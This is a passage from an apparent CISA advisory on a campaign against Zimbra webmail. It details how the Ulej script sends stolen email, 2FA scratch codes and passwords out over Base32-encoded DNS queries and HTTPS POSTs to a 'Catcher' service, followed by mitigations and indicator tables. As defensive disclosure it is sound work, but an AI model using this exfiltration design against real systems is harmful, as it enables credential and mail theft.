<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
